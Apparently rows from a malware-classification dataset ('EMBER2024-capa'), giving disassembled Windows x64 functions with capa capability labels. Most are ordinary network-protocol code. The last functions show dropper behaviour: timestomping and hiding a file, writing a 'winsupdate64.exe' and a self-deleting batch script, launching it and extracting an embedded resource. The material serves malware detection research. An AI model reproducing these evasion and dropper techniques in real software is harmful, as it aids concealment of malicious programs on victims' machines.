joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a8e30
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x140169588]
mov rdi, rax
test rax, rax
je 0x1400a8ead
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x1400a8ed8
cmp ebx, esi
je 0x1400a8ed8
cmp ebx, 0x8000
ja 0x1400a8ed8
cmp ebx, esi
jb 0x1400a8ed3
mov edx, ebx
mov rcx, rdi
call qword [0x140169588]
mov rdi, rax
test rax, rax
jne 0x1400a8e70
mov rcx, rbp
call qword [fcn.1400cd31a]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x1400a8eb8
mov rcx, rdi
jmp 0x1400a8eb0

Function at 0x1400af480
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x140169600]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x1400af4fa
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.140094050
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x1400af51f
lea rdx, str.Error_accept__ing_server_connect
call fcn.1400933f0
lea eax, [rbx + 0x1f]
jmp 0x1400af598
lea rdx, str.Connection_accepted_from_server_n
call fcn.140093570
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.1400a1b80
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x1400af596
mov dl, 1
mov rcx, rsi
call fcn.140083d80
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.140083d80
test ebx, ebx
je 0x1400af596
mov rcx, rdi
call fcn.1400afab0
mov eax, Ordinal_46
jmp 0x1400af598
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400cc080
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x1400b0590
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x1400b05b5
cmp dword [rax + 0x9f8], 0
je 0x1400b05e1
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x1400b05e1
lea rdx, str.MDTM__s
call fcn.1400c75e0
test eax, eax
jne 0x1400b05ee
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400b1420
add rsp, 0x20
pop rbx
ret
Function at 0x1400b0da0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x1400b0dd8
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400b0ef0
cmp byte [rcx + 0xf0e], 0
je 0x1400b0df0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400b18e0
cmp byte [rcx + 0xf11], 0
je 0x1400b0e91
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x1400b0e4b
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x1400b0e2e
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.1400c75e0
test eax, eax
je 0x1400b0e81
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x1400b0e71
lea rdx, str.PRET_STOR__s
call fcn.1400c75e0
test eax, eax
je 0x1400b0e81
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.1400c75e0
test eax, eax
jne 0x1400b0e9e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400b1850
add rsp, 0x20
pop rbx
ret

Function at 0x1400b11e0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x1400b122d
cmp qword [rcx + 0xa88], 0
je 0x1400b122d
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.1400c75e0
test eax, eax
jne 0x1400b1237
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.1400b0da0
add rsp, 0x20
pop rbx
ret

Function at 0x1400b13c0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x1400b140c
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x1400b140c
lea rdx, str.SIZE__s
call fcn.1400c75e0
test eax, eax
jne 0x1400b1419
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400b11e0
add rsp, 0x20
pop rbx
ret

Function at 0x1400b1420
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x1400b1478
cmp qword [rcx + 0xa88], 0
je 0x1400b1478
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x1400b1478
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.1400afcc0
jmp fcn.1400b13c0
Function at 0x1400b1480
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x1400b14b5
lea rdx, str.Couldnt_set_desired_mode
call fcn.1400933f0
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x1400b14cc
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.140093570
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x1400b14e8
mov rcx, rdi
call fcn.1400b13c0
jmp 0x1400b161f
cmp esi, 0x14
jne 0x1400b1601
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x1400b1569
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400b1569
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.1400a8f70
test eax, eax
jne 0x1400b161f
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x1400b155e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x1400b1569
mov rcx, qword [rsp + 0x50]
call qword [fcn.1400cd31a]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x1400b158d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400d15a4]
test rbp, rbp
mov r9, r8
lea rax, [0x1400d7bb8]
cmovne r9, rbp
lea rcx, [0x14014cf50]
cmovne r8, rax
call fcn.140081cb0
mov rcx, rbp
mov r14, rax
call qword [fcn.1400cd31a]
test r14, r14
jne 0x1400b15cc
lea ebx, [r14 + 0x1b]
jmp 0x1400b1621
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x1400d7874]
call fcn.1400c75e0
mov rcx, r14
mov esi, eax
call qword [fcn.1400cd31a]
test esi, esi
je 0x1400b15f5
mov ebx, esi
jmp 0x1400b1621
mov dword [rdi + 0xab8], 0x1f
jmp 0x1400b1621
cmp esi, 0x15
jne 0x1400b160c
lea r8d, [rsi - 8]
jmp 0x1400b1615
cmp esi, 0x16
jne 0x1400b1621
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.1400b0ef0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x1400b6f10
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x1400b7034
cmp r8d, 0xff
jne 0x1400b6f71
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x1400b6f5b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0x153300]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.140093570
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.140093570
cmp r8d, 0xfb
jne 0x1400b6f83
lea r9, str.WILL
jmp 0x1400b6fc1
cmp r8d, 0xfc
jne 0x1400b6f95
lea r9, str.WONT
jmp 0x1400b6fc1
cmp r8d, 0xfd
jne 0x1400b6fa7
lea r9, [0x140153d24]
jmp 0x1400b6fc1
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x1400b701d
cmp r10d, 0x27
jg 0x1400b6ff4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0x153920]
test r8, r8
jne 0x1400b7004
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.140093570
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x1400b6fdb
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.140093570
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.140093570
add rsp, 0x38
ret

Function at 0x1400b7380
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400b73df
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400933f0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.1400b6f10
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x1400b7590
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400b7738
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400b75f5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400b75f5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400b75f5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400b762c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400b7682
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b7682
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b7682
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b7682
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400b7682
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400b7040
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400b76e4
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400933f0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400b7410
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400b7730
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1400933f0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400b8ea0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x140169600]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400b8f35
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400b8f96
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1400933f0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400cc080
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400b9051
sub ecx, 1
je 0x1400b90c4
sub ecx, 1
je 0x1400b9000
cmp ecx, 1
je 0x1400b8fe3
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400d7874]
call fcn.1400933f0
jmp 0x1400b90c4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400b8bd0
test eax, eax
je 0x1400b90c4
jmp 0x1400b8f6a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400b90c4
sub rax, rsi
cmp rax, rbp
jae 0x1400b90c4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.140093570
jmp 0x1400b90c4
cmp r8d, 4
jle 0x1400b90c4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400b90c4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.140093310
mov esi, eax
test eax, eax
je 0x1400b90a3
mov edx, 5
mov rcx, rbx
call fcn.1400b9b90
mov eax, esi
jmp 0x1400b8f6a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1400a1df0
mov rcx, r14
call fcn.1400a20d0
test eax, eax
je 0x1400b8f68
mov edx, 5
mov rcx, rbx
call fcn.1400b9b90
mov eax, Ordinal_46
jmp 0x1400b8f6a
Function at 0x1400cbe60
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400cbea2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400cbee9
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400cbf42
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400cbf00
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400cbf83
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x140156ed2]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x140156ed3]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400cbf50
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400ccf48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400ccf92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400ccf92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400ccf92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400ccf92
cmp dword [rcx + 0x84], 0xe
jbe 0x1400ccf92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400ccf94
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Set file attributes
Timestomp file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
xor esi, esi
xor r9d, r9d
mov edx, 0xc0000000
mov qword [rsp + 0x30], rsi
lea r8d, [rsi + 3]
mov dword [rsp + 0x28], 0x2000000
mov rdi, rcx
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001056
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov eax, 0x7da
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x40]
mov word [rsp + 0x40], ax
mov eax, 0xb
mov word [rsp + 0x44], si
mov word [rsp + 0x42], ax
mov eax, 0x15
mov word [rsp + 0x4e], si
mov word [rsp + 0x46], ax
mov eax, 0x12
mov word [rsp + 0x48], ax
mov eax, 7
mov word [rsp + 0x4a], ax
mov eax, 5
mov word [rsp + 0x4c], ax
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea r9, [rsp + 0x70]
lea rdx, [rsp + 0x70]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileTime]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, 2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov eax, 1
add rsp, 0x50
pop rdi
ret
Function at 0x140001100
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rdi
sub rsp, 0x280
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor ebp, ebp
lea rdi, [0x140006840]
lea r9, str.Unzxc_smxz64.bat
lea rdx, [0x140004394]
lea rcx, [rsp + 0x160]
mov r8, rdi
mov dword [rsp + 0x40], ebp
call qword [sym.imp.MSVCR90.dll_sprintf]
mov rdx, rbp
nop word [rax + rax]
movzx eax, byte [rdx + rdi]
inc rdx
mov byte [rsp + rdx + 0x4f], al
test al, al
jne 0x140001160
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
movzx eax, word [0x14000439c]
or rcx, 0xffffffffffffffff
mov word [rdi - 1], ax
xor eax, eax
lea rdi, [rsp + 0x50]
repne scasb al, byte [rdi]
mov rax, qword [str.winsupdate64.exe]
mov qword [rsp + 0x30], rbp
mov qword [rdi - 1], rax
mov rax, qword [0x1400043a8]
lea rcx, [rsp + 0x160]
mov qword [rdi + 7], rax
movzx eax, byte [0x1400043b0]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov byte [rdi + 0xf], al
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000131a
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [0x140006950]
repne scasb al, byte [rdi]
lea rdi, str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
mov qword [rsp + 0x290], rsi
not rcx
lea edx, [rcx + rcx*2 - 3]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x50]
not rcx
dec rcx
add edx, ecx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rdi, [rsp + 0x160]
not rcx
dec rcx
add edx, ecx
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
not rcx
lea eax, [rdx + rcx + 0x63]
movsxd rdi, eax
mov rcx, rdi
call qword [sym.imp.MSVCR90.dll_malloc]
mov ecx, 1
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8, rdi
xor edx, edx
mov rcx, rsi
call sub.MSVCR90.dll_memset
lea rax, [rsp + 0x160]
lea r9, [0x140006950]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
lea r8, [0x140006950]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x50]
lea rdx, str.:Repeat1_r_ndel___s__r_nif_exist___s__goto_Repeat1_r_n:Repeat2_r_ndel___s__r_nif_exist___s__goto_Repeat2_r_ndel___s_
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCR90.dll_sprintf]
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
lea r9, [rsp + 0x40]
mov rdx, rsi
repne scasb al, byte [rdi]
mov qword [rsp + 0x20], rbp
not rcx
lea r8, [rcx - 1]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [rsp + 0x160]
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
test rsi, rsi
je 0x140001312
mov rcx, rsi
call qword [sym.imp.MSVCR90.dll_free]
mov rsi, qword [rsp + 0x290]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140002870
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001340
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov edi, ecx
mov rcx, rdx
mov rbx, rdx
xor ebp, ebp
call qword [sym.imp.MSVCR90.dll_remove]
cmp eax, 0xffffffff
jne 0x140001384
call qword [sym.imp.MSVCR90.dll__errno]
cmp dword [rax], 0xd
jne 0x140001384
xor eax, eax
jmp 0x140001469
xor eax, eax
xor ecx, ecx
mov qword [rsp + 0x148], r12
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x140], r13
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, [0x1400043c0]
movzx edx, di
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
xor ecx, ecx
mov rdx, rax
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
lea rdx, [rsp + 0x20]
mov rdi, rax
sub rdx, rbx
movzx ecx, byte [rbx]
inc rbx
mov byte [rdx + rbx - 1], cl
test cl, cl
jne 0x1400013d1
test rax, rax
je 0x140001457
mov rcx, rax
mov qword [rsp + 0x180], rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
test rax, rax
